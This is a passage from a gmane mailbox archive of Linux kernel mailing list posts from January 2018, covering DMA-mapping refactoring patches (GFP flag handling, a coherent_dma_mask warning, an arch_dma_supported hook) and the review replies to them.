--- a/arch/h8300/kernel/dma.c
+++ b/arch/h8300/kernel/dma.c
@@ -16,9 +16,6 @@ static void *dma_alloc(struct device *dev, size_t size,
 {
 	void *ret;
 
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_HIGHMEM);
-
 	if (dev == NULL || (*dev->dma_mask < 0xffffffff))
 		gfp |= GFP_DMA;
 	ret = (void *)__get_free_pages(gfp, get_order(size));
diff --git a/arch/m68k/kernel/dma.c b/arch/m68k/kernel/dma.c
index 87ef73a93856..c01b9b8f97bf 100644
--- a/arch/m68k/kernel/dma.c
+++ b/arch/m68k/kernel/dma.c
@@ -76,8 +76,6 @@ static void *m68k_dma_alloc(struct device *dev, size_t size,
 		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
 {
 	void *ret;
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_HIGHMEM);
 
 	if (dev == NULL || (*dev->dma_mask < 0xffffffff))
 		gfp |= GFP_DMA;
diff --git a/arch/mips/cavium-octeon/dma-octeon.c b/arch/mips/cavium-octeon/dma-octeon.c
index c64bd87f0b6e..5baf79fce643 100644
--- a/arch/mips/cavium-octeon/dma-octeon.c
+++ b/arch/mips/cavium-octeon/dma-octeon.c
@@ -161,9 +161,6 @@ static void *octeon_dma_alloc_coherent(struct device *dev, size_t size,
 {
 	void *ret;
 
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_DMA32 | __GFP_HIGHMEM);
-
 	if (IS_ENABLED(CONFIG_ZONE_DMA) && dev == NULL)
 		gfp |= __GFP_DMA;
 	else if (IS_ENABLED(CONFIG_ZONE_DMA) &&
diff --git a/arch/mips/loongson64/common/dma-swiotlb.c b/arch/mips/loongson64/common/dma-swiotlb.c
index ef07740cee61..15388c24a504 100644
--- a/arch/mips/loongson64/common/dma-swiotlb.c
+++ b/arch/mips/loongson64/common/dma-swiotlb.c
@@ -15,9 +15,6 @@ static void *loongson_dma_alloc_coherent(struct device *dev, size_t size,
 {
 	void *ret;
 
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_DMA32 | __GFP_HIGHMEM);
-
 	if ((IS_ENABLED(CONFIG_ISA) && dev == NULL) ||
 	    (IS_ENABLED(CONFIG_ZONE_DMA) &&
 	     dev->coherent_dma_mask < DMA_BIT_MASK(32)))
diff --git a/arch/mips/mm/dma-default.c b/arch/mips/mm/dma-default.c
index e3e94d05f0fd..237532e89919 100644
--- a/arch/mips/mm/dma-default.c
+++ b/arch/mips/mm/dma-default.c
@@ -93,9 +93,6 @@ static gfp_t massage_gfp_flags(const struct device *dev, gfp_t gfp)
 {
 	gfp_t dma_flag;
 
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_DMA32 | __GFP_HIGHMEM);
-
 #ifdef CONFIG_ISA
 	if (dev == NULL)
 		dma_flag = __GFP_DMA;
diff --git a/arch/mips/netlogic/common/nlm-dma.c b/arch/mips/netlogic/common/nlm-dma.c
index 0ec9d9da6d51..49c975b6aa28 100644
--- a/arch/mips/netlogic/common/nlm-dma.c
+++ b/arch/mips/netlogic/common/nlm-dma.c
@@ -47,9 +47,6 @@ static char *nlm_swiotlb;
 static void *nlm_dma_alloc_coherent(struct device *dev, size_t size,
 	dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
 {
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_DMA32 | __GFP_HIGHMEM);
-
 #ifdef CONFIG_ZONE_DMA32
 	if (dev->coherent_dma_mask <= DMA_BIT_MASK(32))
 		gfp |= __GFP_DMA32;
diff --git a/arch/mn10300/mm/dma-alloc.c b/arch/mn10300/mm/dma-alloc.c
index 86108d2496b3..e3910d4db102 100644
--- a/arch/mn10300/mm/dma-alloc.c
+++ b/arch/mn10300/mm/dma-alloc.c
@@ -37,9 +37,6 @@ static void *mn10300_dma_alloc(struct device *dev, size_t size,
 		goto done;
 	}
 
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_HIGHMEM);
-
 	if (dev == NULL || dev->coherent_dma_mask < 0xffffffff)
 		gfp |= GFP_DMA;
 
diff --git a/arch/nios2/mm/dma-mapping.c b/arch/nios2/mm/dma-mapping.c
index 7040c1adbb5e..4be815519dd4 100644
--- a/arch/nios2/mm/dma-mapping.c
+++ b/arch/nios2/mm/dma-mapping.c
@@ -63,9 +63,6 @@ static void *nios2_dma_alloc(struct device *dev, size_t size,
 {
 	void *ret;
 
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_HIGHMEM);
-
 	/* optimized page clearing */
 	gfp |= __GFP_ZERO;
 
diff --git a/arch/powerpc/kernel/dma.c b/arch/powerpc/kernel/dma.c
index 6d5d04ccf3b4..76079841d3d0 100644
--- a/arch/powerpc/kernel/dma.c
+++ b/arch/powerpc/kernel/dma.c
@@ -105,9 +105,6 @@ void *__dma_nommu_alloc_coherent(struct device *dev, size_t size,
 	};
 #endif /* CONFIG_FSL_SOC */
 
-	/* ignore region specifiers */
-	flag  &= ~(__GFP_HIGHMEM);
-
 	page = alloc_pages_node(node, flag, get_order(size));
 	if (page == NULL)
 		return NULL;
diff --git a/arch/x86/kernel/pci-dma.c b/arch/x86/kernel/pci-dma.c
index 8439e6de6156..61a8f1cb3829 100644
--- a/arch/x86/kernel/pci-dma.c
+++ b/arch/x86/kernel/pci-dma.c
@@ -87,7 +87,6 @@ void *dma_generic_alloc_coherent(struct device *dev, size_t size,
 
 	dma_mask = dma_alloc_coherent_mask(dev, flag);
 
-	flag &= ~__GFP_ZERO;
 again:
 	page = NULL;
 	/* CMA can be used only in the context which permits sleeping */
@@ -139,7 +138,6 @@ bool arch_dma_alloc_attrs(struct device **dev, gfp_t *gfp)
 	if (!*dev)
 		*dev = &x86_dma_fallback_dev;
 
-	*gfp &= ~(__GFP_DMA | __GFP_HIGHMEM | __GFP_DMA32);
 	*gfp = dma_alloc_coherent_gfp_flags(*dev, *gfp);
 
 	if (!is_device_dma_capable(*dev))
diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index 9f28b2fa329e..88bcb1a8211d 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -518,6 +518,13 @@ static inline void *dma_alloc_attrs(struct device *dev, size_t size,
 	if (dma_alloc_from_dev_coherent(dev, size, dma_handle, &cpu_addr))
 		return cpu_addr;
 
+	/*
+	 * Let the implementation decide on the zone to allocate from, and
+	 * decide on the way of zeroing the memory given that the memory
+	 * returned should always be zeroed.
+	 */
+	flag &= ~(__GFP_DMA | __GFP_DMA32 | __GFP_HIGHMEM | __GFP_ZERO);
+
 	if (!arch_dma_alloc_attrs(&dev, &flag))
 		return NULL;
 	if (!ops->alloc)
-- 
2.14.2

From - Thu Nov 08 21:40:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 19/33] dma-mapping: warn when there is no coherent_dma_mask
Date: Fri, 12 Jan 2018 08:16:48 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <20180112131646.GA26900@localhost.localdomain>
References: <20180110080027.13879-1-hch@lst.de>
	<20180110080027.13879-20-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515762903 25040 195.159.176.226 (12 Jan 2018 13:15:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 13:15:03 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Jan 12 14:14:57 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZzAa-0005pR-SM
	for glki-iommu@m.gmane.org; Fri, 12 Jan 2018 14:14:53 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 04286F2D;
	Fri, 12 Jan 2018 13:16:56 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 8FC9DEDB
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 13:16:54 +0000 (UTC)
X-Greylist: whitelisted by SQLgrey-1.7.6
Original-Received: from mail-qt0-f195.google.com (mail-qt0-f195.google.com
	[209.85.216.195])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id F01AC124
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 13:16:53 +0000 (UTC)
Original-Received: by mail-qt0-f195.google.com with SMTP id u10so5938988qtg.2
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 05:16:53 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
	h=sender:date:from:to:cc:subject:message-id:references:mime-version
	:content-disposition:in-reply-to:user-agent;
	bh=S2VrLKhJHAh0dKuEQzWxiXtDw8x8Tb9LRCIrg9P3Uaw=;
	b=P/wxkDz2beGylQBR9RyNJ9PnCii8w3iBPW0P9Q6NNegs/ZWGGxytI0Ja23Knak7C8p
	Q9/I7HxiNIIZ9Urt/OLEqB+zzs34hFHPHl7cw9kKKe66avfcDtXySQncdqrgDFhnqs6J
	cd9gfnosdYAhg3J4HRhncgDCm0HOlDQRAw92wEeusfZGBRrVWXSPfxxcHJU+DeU/3Cun
	elKEbYpnCCS+4DNph1sZVxYzunlcENYa8ormU+wTSloKbVb2v89y/U29ykC026WT/DEo
	4XKBhrrEgJk9oWLmxLryNOzV854BsYZQfr+s7LfkfPW2r9/yLSefjVvsMb/AFp0EqU1Y
	R2Jw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
	d=1e100.net; s=20161025;
	h=x-gm-message-state:sender:date:from:to:cc:subject:message-id
	:references:mime-version:content-disposition:in-reply-to:user-agent;
	bh=S2VrLKhJHAh0dKuEQzWxiXtDw8x8Tb9LRCIrg9P3Uaw=;
	b=P2BqjihJtPudg3bPJ0PtskOSzUcfvrUy0Z4XJK3ZKL5IjIR7D4e7Y0040ePEzcEMyr
	eUE7F8bpoIwkLI8AIoGsf6RVi2wcGMbhuG+gcl3R9HdfnpjkOkyBfCcnlyydRcgl2+Xk
	slbq9YcV3meb0zeWnQQf1ZLPKwL8XPeNAXOonIJJWgyfnhIHBFXNcWPsUB63rxn+nfnh
	onJjYZZ6sOzntm3DNQxJoLZccfhfvK0QHQo9pNzoazvNUn+5U9a3uJPuIA9ZIJeMfbwO
	rfb4bHRcySiI9BB1HAL282cZBpEvuadD2jB/YseI5xuH8B3aempXJQBd/M91j5+oqTgW
	T4lg==
X-Gm-Message-State: AKwxytcWdzSb/MP+a7z7YgyRdLvhPbCjApHwGmN04oBrn6xtxTxnr5k6
	w9w6qXurzbDWhqT5AR9hH+w=
X-Google-Smtp-Source: ACJfBosIJnvehbcZesAIlg3FnmupYOzJxD/5ZELthFKCLIXLRfBPNpU4Pn5uQMp7msA/ZNkw1emEwA==
X-Received: by 10.237.55.71 with SMTP id i65mr10940082qtb.224.1515763012723;
	Fri, 12 Jan 2018 05:16:52 -0800 (PST)
Original-Received: from localhost.localdomain
	(209-6-200-48.s4398.c3-0.smr-ubr2.sbo-smr.ma.cable.rcncustomer.com.
	[209.6.200.48])
	by smtp.gmail.com with ESMTPSA id 24sm6324251qkv.64.2018.01.12.05.16.50
	(version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
	Fri, 12 Jan 2018 05:16:51 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20180110080027.13879-20-hch-jcswGhMUV9g@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22177 gmane.linux.ports.mips.general:63319 gmane.linux.ports.ia64:28621 gmane.linux.ports.sh.devel:56325 gmane.linux.ports.sparc:27271 gmane.linux.kernel.cross-arch:41484 gmane.linux.ports.hexagon:1586 gmane.linux.kernel.arc:3370 gmane.linux.kernel.metag:1663 gmane.linux.ports.arm.kernel:625791 gmane.linux.ports.parisc:28263 gmane.linux.kernel:2665290 gmane.linux.ports.alpha:4760 gmane.linux.ports.ppc64.devel:152057
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22177>

On Wed, Jan 10, 2018 at 09:00:13AM +0100, Christoph Hellwig wrote:
> These days all devices should have a DMA coherent mask, and most dma_ops
> implementations rely on that fact.  But just to be sure add an assert to
> ring the warning bell if that is not the case.
> 
> Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>

Reviewed-by: Konrad Rzeszutek Wilk <konrad.wilk-QHcLZuEGTsvQT0dZR+AlfA@public.gmane.org>
> ---
>  include/linux/dma-mapping.h | 1 +
>  1 file changed, 1 insertion(+)
> 
> diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
> index d84951865be7..9f28b2fa329e 100644
> --- a/include/linux/dma-mapping.h
> +++ b/include/linux/dma-mapping.h
> @@ -513,6 +513,7 @@ static inline void *dma_alloc_attrs(struct device *dev, size_t size,
>  	void *cpu_addr;
>  
>  	BUG_ON(!ops);
> +	WARN_ON_ONCE(!dev->coherent_dma_mask);
>  
>  	if (dma_alloc_from_dev_coherent(dev, size, dma_handle, &cpu_addr))
>  		return cpu_addr;
> -- 
> 2.14.2
> 

From - Thu Nov 08 21:40:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Konrad Rzeszutek Wilk <konrad@darnok.org>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel.iommu,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: Re: [PATCH 21/33] dma-mapping: add an arch_dma_supported hook
Date: Fri, 12 Jan 2018 08:17:28 -0500
Lines: 109
Approved: news@gmane.org
Message-ID: <20180112131727.GB26900@localhost.localdomain>
References: <20180110080027.13879-1-hch@lst.de>
 <20180110080027.13879-22-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1515762942 1643 195.159.176.226 (12 Jan 2018 13:15:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 13:15:42 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: iommu@lists.linux-foundation.org, linux-alpha@vger.kernel.org,
        linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-alpha-owner@vger.kernel.org Fri Jan 12 14:15:36 2018
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1eZzBE-0006yX-UT
	for lnx-linux-alpha@m.gmane.org; Fri, 12 Jan 2018 14:15:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933499AbeALNRg (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
        Fri, 12 Jan 2018 08:17:36 -0500
Original-Received: from mail-qt0-f196.google.com ([209.85.216.196]:44252 "EHLO
        mail-qt0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933149AbeALNRe (ORCPT
        <rfc822;linux-alpha@vger.kernel.org>);
        Fri, 12 Jan 2018 08:17:34 -0500
Original-Received: by mail-qt0-f196.google.com with SMTP id m59so5948769qte.11;
        Fri, 12 Jan 2018 05:17:33 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=ZKgdw1gemyM4jVL0TF+CFek9N9fcJbbl2Efz/YxINC4=;
        b=fSpmkAEkD8xg4xgKtRJCorbBB+68j+aJoIgJRQ09IGUZYKfASFEt8lSrEzV6hdIxTx
         cWsNLkw5nIKksPnuUGnfH1MlcL9BAYBxlO4mbu63QQWXHpCpe5uf9o5D59OgNNVuoI+0
         RMOkAo17Ndd8lkYYYpntDRi9KBEL6cvh44X7sYIY7qJNci9XWsPTLYzYsAQmj4+ATfma
         Bph4vBOT91DamI83b4SUDrEGIruAF3LocuxRnxqbqpSQYQ0/F1myEmKjxkFAru8vj4LP
         5gP89HIFBEmjcOaUh2mAGZ7OlpzkWdvmPLUo4SlYvFHUFqTZiSJfnGyJ2/9ZqW1UOOJn
         jf7w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:sender:date:from:to:cc:subject:message-id
         :references:mime-version:content-disposition:in-reply-to:user-agent;
        bh=ZKgdw1gemyM4jVL0TF+CFek9N9fcJbbl2Efz/YxINC4=;
        b=ksZprzWN5EM20gMpcxgICSPkVysxZHO980grLOC8lxzOWhH3QJbRNol1tQsOH+532+
         ffukbztCGw9c+2c6YY+x8TAk1R3l0qOBBHGVekr18y3vgrTQw+jXU9dmYL86Cz+WcU91
         llDCu7ji/lnkC7oKdMFq6M4FmRs3L7HUlHJCwvXPPFhgzv7TXKmXKBUQjuN7bebczers
         bHxTKbFh87S7ye3uKCiE7M01bt96jYowXw5bc4LO5dPB9J4/4+jx1RhOW6NDyxIfP0d4
         DBW80932cRVTqymEctxA6/ApBRJf5pTeXo3KDkCOFdGpW64gW4MhtAt6f09wW8LDOosT
         1qmA==
X-Gm-Message-State: AKwxytf9Mgf/PywIscDZ3sDRD9s3MAFGZvGZe17zYzScRrxH71tfT2NR
        ADwmdLZE3GJQpaiBM6C9kTE=
X-Google-Smtp-Source: ACJfBovpq6hn2yLEjgZBIULSluqz60LKXnsWF0VIZzSl8AlATmyA3zQbFj6D8xo0I0zDJoj95FpGnQ==
X-Received: by 10.200.64.90 with SMTP id j26mr17290939qtl.29.1515763052969;
        Fri, 12 Jan 2018 05:17:32 -0800 (PST)
Original-Received: from localhost.localdomain (209-6-200-48.s4398.c3-0.smr-ubr2.sbo-smr.ma.cable.rcncustomer.com. [209.6.200.48])
        by smtp.gmail.com with ESMTPSA id q12sm13737527qtk.32.2018.01.12.05.17.31
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Fri, 12 Jan 2018 05:17:32 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20180110080027.13879-22-hch@lst.de>
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:4761 gmane.linux.kernel.iommu:22178 gmane.linux.kernel.arc:3371 gmane.linux.ports.arm.kernel:625792 gmane.linux.ports.hexagon:1587 gmane.linux.ports.ia64:28622 gmane.linux.kernel.metag:1664 gmane.linux.ports.mips.general:63320 gmane.linux.ports.parisc:28264 gmane.linux.ports.ppc64.devel:152058 gmane.linux.ports.sh.devel:56326 gmane.linux.ports.sparc:27272 gmane.linux.kernel.cross-arch:41485 gmane.linux.kernel:2665291
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/4761>

On Wed, Jan 10, 2018 at 09:00:15AM +0100, Christoph Hellwig wrote:
> To implement the x86 forbid_dac and iommu_sac_force we want an arch hook
> so that it can apply the global options across all dma_map_ops
> implementations.
> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>

Reviewed-by: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
> ---
>  arch/x86/include/asm/dma-mapping.h |  3 +++
>  arch/x86/kernel/pci-dma.c          | 19 ++++++++++++-------
>  include/linux/dma-mapping.h        | 11 +++++++++++
>  3 files changed, 26 insertions(+), 7 deletions(-)
> 
> diff --git a/arch/x86/include/asm/dma-mapping.h b/arch/x86/include/asm/dma-mapping.h
> index dfdc9357a349..6277c83c0eb1 100644
> --- a/arch/x86/include/asm/dma-mapping.h
> +++ b/arch/x86/include/asm/dma-mapping.h
> @@ -30,6 +30,9 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
>  	return dma_ops;
>  }
>  
> +int arch_dma_supported(struct device *dev, u64 mask);
> +#define arch_dma_supported arch_dma_supported
> +
>  bool arch_dma_alloc_attrs(struct device **dev, gfp_t *gfp);
>  #define arch_dma_alloc_attrs arch_dma_alloc_attrs
>  
> diff --git a/arch/x86/kernel/pci-dma.c b/arch/x86/kernel/pci-dma.c
> index 61a8f1cb3829..df7ab02f959f 100644
> --- a/arch/x86/kernel/pci-dma.c
> +++ b/arch/x86/kernel/pci-dma.c
> @@ -215,7 +215,7 @@ static __init int iommu_setup(char *p)
>  }
>  early_param("iommu", iommu_setup);
>  
> -int x86_dma_supported(struct device *dev, u64 mask)
> +int arch_dma_supported(struct device *dev, u64 mask)
>  {
>  #ifdef CONFIG_PCI
>  	if (mask > 0xffffffff && forbid_dac > 0) {
> @@ -224,12 +224,6 @@ int x86_dma_supported(struct device *dev, u64 mask)
>  	}
>  #endif
>  
> -	/* Copied from i386. Doesn't make much sense, because it will
> -	   only work for pci_alloc_coherent.
> -	   The caller just has to use GFP_DMA in this case. */
> -	if (mask < DMA_BIT_MASK(24))
> -		return 0;
> -
>  	/* Tell the device to use SAC when IOMMU force is on.  This
>  	   allows the driver to use cheaper accesses in some cases.
>  
> @@ -249,6 +243,17 @@ int x86_dma_supported(struct device *dev, u64 mask)
>  
>  	return 1;
>  }
> +EXPORT_SYMBOL(arch_dma_supported);
> +
> +int x86_dma_supported(struct device *dev, u64 mask)
> +{
> +	/* Copied from i386. Doesn't make much sense, because it will
> +	   only work for pci_alloc_coherent.
> +	   The caller just has to use GFP_DMA in this case. */
> +	if (mask < DMA_BIT_MASK(24))
> +		return 0;
> +	return 1;
> +}
>  
>  static int __init pci_iommu_init(void)
>  {
> diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
> index 88bcb1a8211d..d67742dad904 100644
> --- a/include/linux/dma-mapping.h
> +++ b/include/linux/dma-mapping.h
> @@ -576,6 +576,14 @@ static inline int dma_mapping_error(struct device *dev, dma_addr_t dma_addr)
>  	return 0;
>  }
>  
> +/*
> + * This is a hack for the legacy x86 forbid_dac and iommu_sac_force. Please
> + * don't use this is new code.
> + */
> +#ifndef arch_dma_supported
> +#define arch_dma_supported(dev, mask)	(1)
> +#endif
> +
>  static inline void dma_check_mask(struct device *dev, u64 mask)
>  {
>  	if (sme_active() && (mask < (((u64)sme_get_me_mask() << 1) - 1)))
> @@ -588,6 +596,9 @@ static inline int dma_supported(struct device *dev, u64 mask)
>  
>  	if (!ops)
>  		return 0;
> +	if (!arch_dma_supported(dev, mask))
> +		return 0;
> +
>  	if (!ops->dma_supported)
>  		return 1;
>  	return ops->dma_supported(dev, mask);
> -- 
> 2.14.2
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Use cr16 interval timers unconditionally on qemu
Date: Fri, 12 Jan 2018 22:44:00 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20180112214400.GA3533@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1515793341 25857 195.159.176.226 (12 Jan 2018 21:42:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
